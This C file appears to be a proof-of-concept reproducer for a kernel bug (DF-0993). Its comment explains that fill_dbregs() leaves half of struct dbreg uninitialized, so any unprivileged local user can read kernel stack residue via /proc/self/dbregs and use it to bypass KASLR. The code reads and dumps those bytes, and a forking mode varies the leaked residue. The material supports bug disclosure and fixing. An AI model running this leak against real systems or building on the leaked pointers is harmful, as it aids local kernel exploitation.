DF-0993 / dbregs_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /* * DF-0993 - fill_dbregs() leaves dr[8]-dr[15] uninitialized. * * struct dbreg (sys/cpu/x86_64/include/reg.h:89) is `unsigned long dr[16]` * = 128 bytes. fill_dbregs() at sys/platform/pc64/x86_64/machdep.c:3104-3130 * only writes dr[0]-dr[7] (64 bytes); dr[8]-dr[15] are never written. * procfs_dbregs.c:57 declares `struct dbreg r;` WITHOUT zero-initialization, * then uiomove_frombuf(&r, sizeof(r), uio) copies all 128 bytes to userspace. * * Result: 64 bytes of uninitialized kernel stack are leaked to any unprivileged * local user via /proc/self/dbregs (or PT_GETDBREGS). Stack residue routinely * contains kernel .text return addresses and kernel heap pointers (KASLR bypass, * pointer leak). Same class as DF-0938 (fpregs). * * Build: cc -O -o dbregs_leak dbregs_leak.c * Run: ./dbregs_leak (any unprivileged user) * * Expected on vulnerable kernel: dr[8..15] (offset 64..127) show VARYING * non-zero residue across runs (kernel stack garbage). On a fixed kernel the * same bytes read as all-zeros every run. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> struct dbreg { unsigned long dr[16]; }; static void dump(const struct dbreg *r, const char *tag) { int i; printf("== %s ==\n", tag); for (i = 0; i < 16; i++) { printf(" dr[%2d] = 0x%016lx%s\n", i, r->dr[i], (i >= 8) ? " <-- UNINITIALIZED (should be 0)" : ""); } } static int read_dbregs(struct dbreg *r) { char path[64]; int fd, n; snprintf(path, sizeof(path), "/proc/%d/dbregs", (int)getpid()); fd = open(path, O_RDONLY); if (fd < 0) { perror("open /proc/self/dbregs"); return -1; } n = read(fd, r, sizeof(*r)); close(fd); if (n != (int)sizeof(*r)) { fprintf(stderr, "short read: %d (expected %zu)\n", n, sizeof(*r)); return -1; } return 0; } int main(int argc, char **argv) { int mode = (argc > 1) ? atoi(argv[1]) : 0; if (mode == 0) { /* default: print one verbose dump */ struct dbreg r; if (read_dbregs(&r) < 0) return 2; dump(&r, "/proc/self/dbregs"); unsigned long residue_or = 0; int i; for (i = 8; i < 16; i++) residue_or |= r.dr[i]; printf("[verdict] dr[8..15] residue_or=0x%lx %s\n", residue_or, residue_or ? "LEAK" : "clean"); return 0; /* always 0 so callers can chain runs */ } if (mode == 1) { /* fork-and-read: child does various syscalls first to leave different * stack residue, then parent reads. Each fork gets a fresh kernel * thread -> fresh stack -> different residue. */ int round; for (round = 0; round < 4; round++) { pid_t pid = fork(); if (pid == 0) { struct dbreg r; int i; /* perturb stack with diverse syscalls */ if (round & 1) { int x=open("/etc/passwd",O_RDONLY); if(x>=0) close(x); } if (round & 2) { socket(2,1,0); } for (i=0;i<32;i++) getpid(); if (read_dbregs(&r) < 0) _exit(2); unsigned long residue_or = 0; for (i = 8; i < 16; i++) residue_or |= r.dr[i]; printf("[fork round %d pid %d] residue_or=0x%lx %s\n", round, (int)getpid(), residue_or, residue_or ? "LEAK" : "clean"); fflush(stdout); _exit(residue_or ? 0 : 1); } wait(NULL); } return 0; } return 0; } |